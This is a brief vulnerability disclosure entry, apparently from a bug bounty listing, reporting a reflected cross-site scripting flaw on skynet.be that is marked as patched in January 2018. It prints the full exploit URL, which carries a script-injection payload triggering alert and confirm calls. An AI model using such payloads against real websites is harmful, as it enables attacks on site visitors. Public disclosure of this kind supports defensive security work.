skynet.be XSS vulnerability

Vulnerable URL: http://www.skynet.be/services//recherche/google?cx=partner-pub-9744292032263079:5461966790%3C/script%3E%3Cscript%3Ealert/OPENBUGBOUNTY/%3C/script%3E%27-confirmOPENBUGBOUNTY-%27=FORID:10=UTF-8=8232389543=0982551502 Details: Description| Value ---|--- Patched:| Yes, at 16.01.2018...